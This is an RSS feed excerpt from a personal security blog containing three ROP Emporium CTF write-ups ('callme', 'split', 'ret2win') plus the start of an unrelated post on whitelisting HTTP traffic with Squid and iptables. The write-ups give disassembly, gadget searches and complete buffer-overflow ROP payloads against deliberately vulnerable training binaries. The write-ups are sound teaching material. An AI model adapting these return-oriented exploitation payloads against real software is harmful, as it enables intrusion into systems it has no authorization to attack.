&lt;p&gt;Copy &lt;code class=&quot;highlighter-rouge&quot;&gt;xor&lt;/code&gt; result to flag[counter] buffer&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;0x00000a83      8810           mov byte [rax], dl
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Loop 15 more times&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;0x00000a85      8345f401       add dword [local_ch], 1
0x00000a89      837df40f       cmp dword [local_ch], 0xf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In summary, &lt;code class=&quot;highlighter-rouge&quot;&gt;callme_two&lt;/code&gt; does&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;check that &lt;code class=&quot;highlighter-rouge&quot;&gt;edi == 1&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;esi == 2&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;edx == 3&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;open &lt;code class=&quot;highlighter-rouge&quot;&gt;key1.dat&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;xor&lt;/code&gt; each byte with the flag string in global buffer&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;callmethree&quot;&gt;callme_three&lt;/h1&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ r2 ./libcallme.so -qc &quot;aa ; pdf @ sym.callme_three&quot;
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Is similar to &lt;code class=&quot;highlighter-rouge&quot;&gt;callme_two&lt;/code&gt; except it opens a file called &lt;code class=&quot;highlighter-rouge&quot;&gt;key2.dat&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;xor&lt;/code&gt;s bytes
&lt;code class=&quot;highlighter-rouge&quot;&gt;16-32&lt;/code&gt; of the global buffer. It also prints out the result so we don’t need to setup a call to &lt;code class=&quot;highlighter-rouge&quot;&gt;printf&lt;/code&gt; manually.&lt;/p&gt;

&lt;h1 id=&quot;write-a-decryptor&quot;&gt;Write a Decryptor&lt;/h1&gt;
&lt;p&gt;We can test our understanding of the algorithm so far by writing a custom decryptor.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ cat &amp;lt;&amp;lt; EOF &amp;gt; decrypt.rb
  flag = File.read(&quot;encrypted_flag.txt&quot;)
  key1 = File.read(&quot;key1.dat&quot;)
  key2 = File.read(&quot;key2.dat&quot;)
  
  c = 0
  key1.each_byte do |b|
    flag[c] = (flag[c].ord ^ b).chr
    c += 1
  end
  
  key2.each_byte do |b|
    flag[c] = (flag[c].ord ^ b).chr
    c += 1
  end
  
  puts flag
EOF

$ ruby decrypt.rb
ROPE{a_placeholder_32byte_flag!}!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id=&quot;exploit&quot;&gt;Exploit&lt;/h1&gt;

&lt;p&gt;Our ROP chain needs to look like this:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;40 bytes padding before the overflow&lt;/li&gt;
  &lt;li&gt;assign &lt;code class=&quot;highlighter-rouge&quot;&gt;rdi=1&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;rsi=2&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;rdx=3&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;callme_one&lt;/code&gt; (&lt;code class=&quot;highlighter-rouge&quot;&gt;0x00401850&lt;/code&gt;)&lt;/li&gt;
  &lt;li&gt;assign &lt;code class=&quot;highlighter-rouge&quot;&gt;rdi=1&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;rsi=2&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;rdx=3&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;callme_two&lt;/code&gt; (&lt;code class=&quot;highlighter-rouge&quot;&gt;0x00401870&lt;/code&gt;)&lt;/li&gt;
  &lt;li&gt;assign &lt;code class=&quot;highlighter-rouge&quot;&gt;rdi=1&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;rsi=2&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;rdx=3&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;callme_three&lt;/code&gt; (&lt;code class=&quot;highlighter-rouge&quot;&gt;0x00401810&lt;/code&gt;)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;As luck would have is, a gadget which pops all three registers in a row is available&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ r2 ./callme -qc &#39; &quot;/R pop rdi;ret&quot; &#39;
  0x00401ab0                 5f  pop rdi
  0x00401ab1                 5e  pop rsi
  0x00401ab2                 5a  pop rdx
  0x00401ab3                 c3  ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Using the bash one liner from the previous &lt;code class=&quot;highlighter-rouge&quot;&gt;split&lt;/code&gt; writeup:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ echo &#39;0x00
0x00
0x00
0x00
0x00
0x00401ab0
0x00000001
0x00000002
0x00000003
0x00401850
0x00401ab0
0x00000001
0x00000002
0x00000003
0x00401870
0x00401ab0
0x00000001
0x00000002
0x00000003
0x00401810
0x00401ab0&#39; |
         while read l;
         do
           printf &quot;%016x&quot; &quot;$l&quot; |
           sed -re &#39;s/([0-9a-f]{2})/\\x\1/g&#39; |
           tac -b -rs &#39;\(\\x\|\s\)&#39;
         done
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0\x1a\x40\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x50\x18\x40\x00\x00\x00\x00\x00\xb0\x1a\x40\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x70\x18\x40\x00\x00\x00\x00\x00\xb0\x1a\x40\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x10\x18\x40\x00\x00\x00\x00\x00\xb0\x1a\x40\x00\x00\x00\x00\x00
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;I’ll expand on the bash code a bit because it is useful for the other ROP Emporium challenges as well.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;highlighter-rouge&quot;&gt;while read l&lt;/code&gt; loops over every line, putting it into variable &lt;code class=&quot;highlighter-rouge&quot;&gt;l&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;echo &#39;one
two
three&#39; | while read l; do echo $l; done
one
two
three
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;highlighter-rouge&quot;&gt;printf&lt;/code&gt; removes &lt;code class=&quot;highlighter-rouge&quot;&gt;0x&lt;/code&gt; and adds zero padding to 64 bits e.g.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ printf &quot;%016x&quot; 0x00401ab0
0000000000401ab0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;highlighter-rouge&quot;&gt;sed&lt;/code&gt; replaces every 2 digits with itself plus a leading &lt;code class=&quot;highlighter-rouge&quot;&gt;\x&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ echo &quot;01020304&quot; | sed -re &#39;s/([0-9a-f]{2})/\\x\1/g&#39;
\x01\x02\x03\x04
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;highlighter-rouge&quot;&gt;tac&lt;/code&gt; is opposite of &lt;code class=&quot;highlighter-rouge&quot;&gt;cat&lt;/code&gt;, reverses the order of lines/characters&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ echo -n &quot;\x01\x02\x03\x04&quot; | tac -b -rs &#39;\(\\x\|\s\)&#39;
\x04\x03\x02\x01
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And finally the &lt;code class=&quot;highlighter-rouge&quot;&gt;echo -e&lt;/code&gt; converts &lt;code class=&quot;highlighter-rouge&quot;&gt;&quot;\xNN&quot;&lt;/code&gt; into literal bytes&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ echo -e &quot;\x61\x62\x63&quot;
abc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So the final exploit looks like this&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ echo -e &quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0\x1a\x40\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x50\x18\x40\x00\x00\x00\x00\x00\xb0\x1a\x40\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x70\x18\x40\x00\x00\x00\x00\x00\xb0\x1a\x40\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x10\x18\x40\x00\x00\x00\x00\x00\xb0\x1a\x40\x00\x00\x00\x00\x00&quot; | LD_LIBRARY_PATH=. ./callme
callme by ROP Emporium
64bits

Hope you read the instructions...
&amp;gt; ROPE{a_placeholder_32byte_flag!}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

</description>
        <pubDate>Fri, 01 Mar 2019 19:36:20 +0000</pubDate>
        <link>http://klamp.works/2019/03/01/ropemp-callme.html</link>
        <guid isPermaLink="true">http://klamp.works/2019/03/01/ropemp-callme.html</guid>
        
        
      </item>
    
      <item>
        <title>ROP Emporium CTF 2/7 split</title>
        <description>&lt;p&gt;This challenge uses a similar &lt;code class=&quot;highlighter-rouge&quot;&gt;pwnme&lt;/code&gt; function as the previous &lt;code class=&quot;highlighter-rouge&quot;&gt;ret2win&lt;/code&gt;
challenge with the same offsets but a larger overflow (&lt;code class=&quot;highlighter-rouge&quot;&gt;0x60&lt;/code&gt; bytes).&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ perl -e &#39;print((&quot;\x00&quot; x 0x28) . &quot;fedcba&quot;)&#39; |
  gdb ./split --batch -ex run
split by ROP Emporium
...
Program received signal SIGSEGV, Segmentation fault.
0x0000616263646566 in ?? ()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Scanning through the symbols we see two interesting things.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ r2 ./split -qc &quot;is&quot;
[Symbols]
Num Paddr      Vaddr      Bind     Type Size Name
...
039 0x00000807 0x00400807  LOCAL   FUNC   17 usefulFunction
...
066 0x00001060 0x00601060 GLOBAL    OBJ   26 usefulString

$ r2 split -qc &quot;aa ; pdf @ sym.usefulFunction&quot;
/ (fcn) sym.usefulFunction 17
|   sym.usefulFunction ();
|           0x00400807      push rbp
|           0x00400808      mov rbp, rsp
|           0x0040080b      mov edi, str.bin_ls ; &quot;/bin/ls&quot;
|           0x00400810      call sym.imp.system
|           0x00400815      nop
|           0x00400816      pop rbp
\           0x00400817      ret

$ r2 split -qc &quot;aa ; ps @ obj.usefulString&quot;
/bin/cat flag.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;It would seem that combining these two things, calling &lt;code class=&quot;highlighter-rouge&quot;&gt;system&lt;/code&gt; with
&lt;code class=&quot;highlighter-rouge&quot;&gt;&quot;/bin/cat flag.txt&quot;&lt;/code&gt;, is the purpose of this challenge.&lt;/p&gt;

&lt;p&gt;The way arguments are passed to functions on AMD64 Linux (called the sysv ABI),
is via the following registers &lt;code class=&quot;highlighter-rouge&quot;&gt;RDI&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;RSI&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;RDX&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;RCX&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;R8&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;R9&lt;/code&gt;, and then remaining arguments are passed on the stack. In our case we want &lt;code class=&quot;highlighter-rouge&quot;&gt;obj.usefulString&lt;/code&gt;
(&lt;code class=&quot;highlighter-rouge&quot;&gt;0x00601060&lt;/code&gt;) to be in the &lt;code class=&quot;highlighter-rouge&quot;&gt;RDI&lt;/code&gt; register before we jump to &lt;code class=&quot;highlighter-rouge&quot;&gt;call system()&lt;/code&gt;
(&lt;code class=&quot;highlighter-rouge&quot;&gt;0x00400810&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;Radare2 has a command for searching gadgets which is &lt;code class=&quot;highlighter-rouge&quot;&gt;/R&lt;/code&gt;.
By wrapping the whole command in double quotes we can search for multiple
opcodes in the same gadget chain, in this case &lt;code class=&quot;highlighter-rouge&quot;&gt;pop rdi&lt;/code&gt; followed by &lt;code class=&quot;highlighter-rouge&quot;&gt;ret&lt;/code&gt;.
(The single quotes on the outside are for the sake of Bash).&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ r2 ./split -qc &#39; &quot;/R pop rdi;ret&quot; &#39;
  0x00400883                 5f  pop rdi
  0x00400884                 c3  ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We now have all the ingredients for our ROP chain:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;pop rdi&lt;/code&gt;             (&lt;code class=&quot;highlighter-rouge&quot;&gt;0x00400883&lt;/code&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;obj.usefulString&lt;/code&gt;    (&lt;code class=&quot;highlighter-rouge&quot;&gt;0x00601060&lt;/code&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;call sym.imp.system&lt;/code&gt; (&lt;code class=&quot;highlighter-rouge&quot;&gt;0x00400810&lt;/code&gt;)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;After the overflow we want our stack to look like this:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;+--------------------+--------------------+
| rsp + 0x38         | 0x0000000000400810 | &amp;lt;-- 3.
| rsp + 0x30         | 0x0000000000601060 | &amp;lt;-- 2.
| rsp + 0x28         | 0x0000000000400883 | &amp;lt;-- 1.
| rsp + 0x20         | 0x0000000000000000 | &amp;lt;-- stored rbp
| rsp + 0x18         | 0x0000000000000000 | &amp;lt;-- end of buffer
| rsp + 0x10         | 0x0000000000000000 |
| rsp + 0x08         | 0x0000000000000000 |
| rsp + 0x00         | 0x0000000000000000 | &amp;lt;-- start of buffer
+--------------------+--------------------+
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So after &lt;code class=&quot;highlighter-rouge&quot;&gt;ret&lt;/code&gt;ing from &lt;code class=&quot;highlighter-rouge&quot;&gt;pwnme()&lt;/code&gt;, the application will jump to &lt;code class=&quot;highlighter-rouge&quot;&gt;0x00400883&lt;/code&gt; and
execute &lt;code class=&quot;highlighter-rouge&quot;&gt;pop rdi&lt;/code&gt;, the value &lt;code class=&quot;highlighter-rouge&quot;&gt;pop&lt;/code&gt;ed from the stack will be &lt;code class=&quot;highlighter-rouge&quot;&gt;0x00601060&lt;/code&gt;
(&lt;code class=&quot;highlighter-rouge&quot;&gt;usefulString&lt;/code&gt;), and the next &lt;code class=&quot;highlighter-rouge&quot;&gt;ret&lt;/code&gt; will jump to &lt;code class=&quot;highlighter-rouge&quot;&gt;0x00400810&lt;/code&gt; and execute &lt;code class=&quot;highlighter-rouge&quot;&gt;call
sym.imp.system&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;AMD64 is a little endian platform so we need to swap the bytes round for each
memory address in our ROP chain:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;0x0000000000400810&lt;/code&gt; =&amp;gt; &lt;code class=&quot;highlighter-rouge&quot;&gt;&quot;\x83\x08\x40\x00\x00\x00\x00\x00&quot;&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;0x0000000000601060&lt;/code&gt; =&amp;gt; &lt;code class=&quot;highlighter-rouge&quot;&gt;&quot;\x60\x10\x60\x00\x00\x00\x00\x00&quot;&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;0x0000000000400883&lt;/code&gt; =&amp;gt; &lt;code class=&quot;highlighter-rouge&quot;&gt;&quot;\x10\x08\x40\x00\x00\x00\x00\x00&quot;&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Converting addresses manually gets tedious so here is a bash one liner&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ echo $(echo -n &quot;$1&quot; |
         sed -re &#39;s/([0-9a-f]{2})/\\x\1/g&#39; |
         tac -b -rs &#39;\(\\x\|\s\)&#39; -)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Here is the example in action, successfully printing the flag:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ perl -e &#39;print((&quot;\x00&quot; x 0x28) .
                  &quot;\x83\x08\x40\x00\x00\x00\x00\x00&quot; .
                  &quot;\x60\x10\x60\x00\x00\x00\x00\x00&quot; .
                  &quot;\x10\x08\x40\x00\x00\x00\x00\x00&quot;)&#39; |
  ./split
split by ROP Emporium
...
&amp;gt; ROPE{a_placeholder_32byte_flag!}
Segmentation fault
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

</description>
        <pubDate>Fri, 01 Feb 2019 19:36:20 +0000</pubDate>
        <link>http://klamp.works/2019/02/01/ropemp-split.html</link>
        <guid isPermaLink="true">http://klamp.works/2019/02/01/ropemp-split.html</guid>
        
        
      </item>
    
      <item>
        <title>ROP Emporium CTF 1/7 ret2win</title>
        <description>&lt;p&gt;&lt;a href=&quot;https://ropemporium.com/&quot;&gt;ROP Emporium&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Learn return-oriented programming through a series of challenges designed to teach ROP techniques in isolation, with minimal reverse-engineering and bug-hunting.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Disassemble &lt;code class=&quot;highlighter-rouge&quot;&gt;main()&lt;/code&gt; to find it just prints some stuff and then calls &lt;code class=&quot;highlighter-rouge&quot;&gt;pwnme()&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ r2 ./ret2win -qc &quot;aa ; pdf @ sym.main&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;There is a stack buffer overflow is in the &lt;code class=&quot;highlighter-rouge&quot;&gt;pwnme()&lt;/code&gt; function. We can see there is a &lt;code class=&quot;highlighter-rouge&quot;&gt;0x20&lt;/code&gt; byte stack buffer with &lt;code class=&quot;highlighter-rouge&quot;&gt;0x32&lt;/code&gt; bytes &lt;code class=&quot;highlighter-rouge&quot;&gt;fgets&lt;/code&gt;ed into it.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ r2 ./ret2win -qc &quot;aa ; pdf @ sym.pwnme&quot;
|           ; var char *s @ rbp-0x20
|           0x004007b9      sub rsp, 0x20
|           0x004007bd      lea rax, [s]
...
|           0x004007f6      mov rdx, qword [obj.stdin]
|           0x004007fd      lea rax, [s]
|           0x00400801      mov esi, 0x32
|           0x00400806      mov rdi, rax
|           0x00400809      call sym.imp.fgets
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;That means our payload needs to be &lt;code class=&quot;highlighter-rouge&quot;&gt;0x20&lt;/code&gt; bytes to fill the buffer then the next
&lt;code class=&quot;highlighter-rouge&quot;&gt;8&lt;/code&gt; bytes will overflow the stored &lt;code class=&quot;highlighter-rouge&quot;&gt;rbp&lt;/code&gt; and the next &lt;code class=&quot;highlighter-rouge&quot;&gt;8&lt;/code&gt; bytes will overflow the
stored &lt;code class=&quot;highlighter-rouge&quot;&gt;rip&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;We can confirm this with &lt;code class=&quot;highlighter-rouge&quot;&gt;GDB(1)&lt;/code&gt;. We see that out &lt;code class=&quot;highlighter-rouge&quot;&gt;&quot;fedcba&quot;&lt;/code&gt; is now the new value of the instruction pointer &lt;code class=&quot;highlighter-rouge&quot;&gt;rip&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ perl -e &#39;print((&quot;\x00&quot; x 0x28) . &quot;fedcba&quot;)&#39; |
  gdb ./ret2win --batch -ex run
ret2win by ROP Emporium
...
Program received signal SIGSEGV, Segmentation fault.
0x0000616263646566 in ?? ()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The stack after overflow looks like this, with &lt;code class=&quot;highlighter-rouge&quot;&gt;0x61626364&lt;/code&gt; &lt;code class=&quot;highlighter-rouge&quot;&gt;pop&lt;/code&gt;ed into &lt;code class=&quot;highlighter-rouge&quot;&gt;rip&lt;/code&gt; and
causing a segfault.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;+--------------------+--------------------+
| rsp + 0x28         | 0x0000000061626364 | &amp;lt;-- stored rip
| rsp + 0x20         | 0x0000000000000000 | &amp;lt;-- stored rbp
| rsp + 0x18         | 0x0000000000000000 | &amp;lt;-- end of buffer
| rsp + 0x10         | 0x0000000000000000 |
| rsp + 0x08         | 0x0000000000000000 |
| rsp + 0x00         | 0x0000000000000000 | &amp;lt;-- start of buffer
+--------------------+--------------------+
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id=&quot;a-note-on-64-bit-addressing&quot;&gt;A note on 64 bit addressing&lt;/h1&gt;
&lt;p&gt;AMD64 processors typically only support 48 bit addresses with the top
16 bits are sign extended. Keep this in mind when choosing fake values to put onto
the stack, because trying to use a non-conforming value as a memory address will result in obscure hardware errors which GDB can’t help with.&lt;/p&gt;

&lt;p&gt;e.g. here the MMU couldn’t process &lt;code class=&quot;highlighter-rouge&quot;&gt;0x6162636465666768&lt;/code&gt; and GDB still sees the
old (and perfectly fine) value of &lt;code class=&quot;highlighter-rouge&quot;&gt;0x0000000000400810&lt;/code&gt; in the &lt;code class=&quot;highlighter-rouge&quot;&gt;rip&lt;/code&gt; register,
which will be confusing if you’re not aware of this particular quirk.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ perl -e &#39;print((&quot;\x00&quot; x 0x28) . &quot;hgfedcba&quot;)&#39; |
  gdb ./ret2win --batch -ex run
ret2win by ROP Emporium
...
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400810 in pwnme ()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now that we have control of &lt;code class=&quot;highlighter-rouge&quot;&gt;rip&lt;/code&gt; the next step is to figure out what address to
put in there and get the application to &lt;code class=&quot;highlighter-rouge&quot;&gt;jmp&lt;/code&gt; to.&lt;/p&gt;

&lt;p&gt;Just scanning through symbols we see an interesting function with the same name
as the challenge.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ r2 ./ret2win -qc &quot;is&quot;
[Symbols]
Num Paddr      Vaddr      Bind     Type Size Name
...
039 0x00000811 0x00400811  LOCAL   FUNC   32 ret2win
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;It simply spawns a shell and does &lt;code class=&quot;highlighter-rouge&quot;&gt;cat flag.txt&lt;/code&gt; which is exactly what we want.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ r2 ./ret2win -qc &quot;aa ; pdf @ sym.ret2win&quot;
/ (fcn) sym.ret2win 32
|   sym.ret2win ();
|           0x00400811      push rbp
|           0x00400812      mov rbp, rsp
|           0x00400815      mov edi, str.Thank_you__Here_s_your_flag:
|           0x0040081a      mov eax, 0
|           0x0040081f      call sym.imp.printf
|           0x00400824      mov edi, str.bin_cat_flag.txt ; &quot;/bin/cat flag.txt&quot;
|           0x00400829      call sym.imp.system
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So replacing our test value (&lt;code class=&quot;highlighter-rouge&quot;&gt;0x0000616263646566&lt;/code&gt;) with the address of &lt;code class=&quot;highlighter-rouge&quot;&gt;ret2win()&lt;/code&gt; (&lt;code class=&quot;highlighter-rouge&quot;&gt;0x00400811&lt;/code&gt;) will cause the application to jump to &lt;code class=&quot;highlighter-rouge&quot;&gt;ret2win()&lt;/code&gt; and print out the flag. Since AMD64 is a little endian platform though, we need to write the bytes backwards, so &lt;code class=&quot;highlighter-rouge&quot;&gt;0x00400811&lt;/code&gt; becomes &lt;code class=&quot;highlighter-rouge&quot;&gt;&quot;\x11\x08\x40&quot;&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ perl -e &#39;print((&quot;\x00&quot; x 0x28) . &quot;\x11\x08\x40&quot;)&#39; | ./ret2win
ret2win by ROP Emporium
...
&amp;gt; Thank you! Here&#39;s your flag:ROPE{a_placeholder_32byte_flag!}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

</description>
        <pubDate>Fri, 04 Jan 2019 19:36:20 +0000</pubDate>
        <link>http://klamp.works/2019/01/04/ropemp-ret2win.html</link>
        <guid isPermaLink="true">http://klamp.works/2019/01/04/ropemp-ret2win.html</guid>
        
        
      </item>
    
      <item>
        <title>Whitelisting http/https traffic on Linux</title>
        <description>&lt;p&gt;Given a network interface I want to restrict any http(s) traffic going through it to a limited list of domains. An additional constraint is that I do not want any specialised client configuration. Such a thing is possible through a mitm capable http proxy server (Squid), a DNS server (Unbound) and some firewall rules (iptables). The iptables part is what makes this post specific to Linux.&lt;/p&gt;

&lt;p&gt;My motivation for doing this came form running tcpdump and seeing how much crap my Android phone is spewing out over the internet. It would be nice to have a WiFi access point that will transparently proxy only connections I whitelist beforehand.&lt;/p&gt;

&lt;h1 id=&quot;setup&quot;&gt;Setup&lt;/h1&gt;
&lt;p&gt;For testing we’ll just use a bridge with network namespaces. When we are
ready to deploy we can change the interface to a real wlan or eth device.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;brctl addbr br-squid
ifconfig br-squid 192.168.50.1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Don’t forget to enable ip forwarding or none of this will work.&lt;/p&gt;

